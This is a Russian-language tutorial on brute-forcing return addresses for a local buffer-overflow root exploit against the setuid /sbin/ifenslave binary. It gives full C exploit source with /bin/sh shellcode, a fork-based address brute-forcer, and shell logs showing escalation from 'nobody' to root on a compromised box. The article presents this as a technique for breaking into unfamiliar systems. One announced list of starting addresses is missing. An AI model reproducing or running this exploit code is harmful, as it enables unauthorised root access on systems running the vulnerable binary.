В данной статье описана техника написания брутфорсера ret-адресов для локальных эксплойтов переполнения буфера. Зачем это нужно? Во-первых, при взломе какой-либо незнакомой системы, возможность пропустить уязвимый файл через дебаггер может быть затруднена (за недостатком привелегий, например), а по-другому нужный адрес можно узнать лишь перебором. Во-вторых, esp далеко не всегда указывает туда, куда нужно ;] Тоже надо подбирать offset. В-третьих, просто для повышения своей квалификации в программировании на cpp.
Вообще, способов на ум приходит много. Например, для самых маленьких, смотреть, выпала ли атакуемая программа в core =)
На мой взгляд, наиболее интересными будут вот эти два варианта:
(gdb) file /sbin/ifenslave Reading symbols from /sbin/ifenslave...(no debugging symbols found)...done. (gdb) r `perl -e 'print "A"x1000'` Starting program: /sbin/ifenslave `perl -e 'print "A"x1000'` (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) x/10x $esp 0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebe0: 0x41414141 0x41414141"Классическое" переполнение буфера с перезаписью адреса возврата. Код рабочего эксплойта (проверен на mdk9.1):
#include <stdio.h> #include <unistd.h> #include <stdlib.h> static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; #define NOP 0x90 #define RET 0xbffff687 int main(int argc, char **argv) { int offset=55; char buffer[1000]; long retaddr; int i; retaddr=RET+offset; for (i=0;i<200;i+=4) { *(long *)&buffer[i] = retaddr; //заполняем ret'ами первые 200b буфера } for (i=0;i<100;i++) { buffer[i+200] = NOP; //добавляем 100b nop'ов } for (i=0;i<strlen(shellcode);i++) { buffer[i+300] = shellcode[i]; //посимвольно добавляем шеллкод } execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); //запускаем }Проверяем:
[satan@localhost 0dd]$ gcc -o eee eee.c [satan@localhost 0dd]$ ./eee sh-2.05b# exit exit [satan@localhost 0dd]$Тут всё понятно. А теперь, предположим, у /sbin/ifenslave стоит suid-бит и он лежит на отличном от mdk удалённом боксе, где у нас есть nobody-shell. Смотрим:
sh-2.05b$ whoami; ls -l /sbin/ifenslave nobody -rwsr-sr-x 1 root root 11544 Sep 2 2003 /sbin/ifenslave sh-2.05b$ gdb /sbin/ifenslave (gdb) r Starting program: /sbin/ifenslave Couldn't get registers: Operation not permitted. (gdb)Вот как раз та ситуация, о которой я говорил вначале: на debug уязвимого приложения не хватает привелегий. Можно, конечно, поиграться с esp, но, опять же, как я говорил выше, это не всегда даёт нам желаемый результат. Выход один: bruteforcing...
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> static char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; // Начальный ret, от которого собстно и будем отталкиваться. // Взят в моём случае из gdb #define RET 0xbffff687 #define NOP 0x90 int main(int argc, char **argv) { int x=0, status, i; int offset=20; // <- положительный. char buffer[1000]; long retaddr; pid_t pid; retaddr=RET+offset; printf("\n[+] 0dd ifenslave local root xpl ;D\n\n"); printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr); // 300 - предельное число, на которое RET может быть увеличен. // взял маленькое, для отладки. В боевых условиях оно должно быть // где-то в 100 раз больше. while(x<=300) { //создаём дочерний процесс if((pid=fork())==0) { /* Child */ // чайлд заново генерирует exploit buffer с новым // адресом возврата for (i=0;i<200;i+=4) { *(long *)&buffer[i] = retaddr; } for (i=0;i<100;i++) { buffer[i+200] = NOP; } for (i=0;i<strlen(shellcode);i++) { buffer[i+300] = shellcode[i]; } // запускаем ifenslave - пытаемся эксплуатировать bof execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); /* END */ } // в то время, как чайлд пытается эксплуатировать уязвимость в // ifenslave, // parent ждёт его завершения. Причём, номер сигнала, который // пошлёт потомок после кончины, // будет помещён в переменную status. wait(&status); // пишем, какой сигнал получен. Опять же, для отладки. printf("[~] Received signal: #%i\n", status); // проверяем. Если номер соответствует нулю (0), значит чайлд // завершился без ошибок, // то есть, после переполнения ifenslave продолжил работу, // _то_есть_, или выполнился шеллкод или // мы попали куда-то в cs :) (хотя это маловероятно), тооо ееесть, // ret верный и нам нет смысла продолжать // перебор. if(WIFEXITED(status) != 0 ) { printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr); exit(1); } else { // если же номер сигнала не соответствует нулю, значит возникли // какие-то неполадки (SIGSEGV, SIGILL)... // Прибавляем к x и к retaddr смещение, и повторяем весь цикл: // заново создаём чайлда, он пытается уже с // новым ret'ом получить шелл, ждём его, смотрим сигнал, // попадаем сюда ) retaddr+=offset; x+=offset; printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr); } } }Хочу сказать пару слов о выборе начального RET-адреса. В реальных условиях, когда не известно даже примерно в какой части стэка лежит наш код, за ret можно взять:
Итак, результат:
sh-2.05b$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) sh-2.05b$ gcc -o eee eee.c sh-2.05b$ ./eee [+] 0dd ifenslave local root xpl ;D [~] Trying offset 0, addr 0xbffff69b [~] Received signal: #8 [~] Trying offset 20, addr 0xbffff6af [~] Received signal: #8 [~] Trying offset 40, addr 0xbffff6c3 [~] Received signal: #11 [~] Trying offset 60, addr 0xbffff6d7 [~] Received signal: #8 [~] Trying offset 80, addr 0xbffff6eb [~] Received signal: #11 [~] Trying offset 100, addr 0xbffff6ff [~] Received signal: #4 [~] Trying offset 120, addr 0xbffff713 [~] Received signal: #4 [~] Trying offset 140, addr 0xbffff727 [~] Received signal: #8 [~] Trying offset 160, addr 0xbffff73b [~] Received signal: #4 [~] Trying offset 180, addr 0xbffff74f sh-2.05b# id uid=0(root) gid=0(root) groups=65534(nogroup) sh-2.05b# exit exit [~] Received signal: #0 [+] Retaddr guessed: 0xbffff74f [~] Exiting... sh-2.05b$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) Thanx to WithoutHead.
Спойлер: мы раскрываем их любимые трюки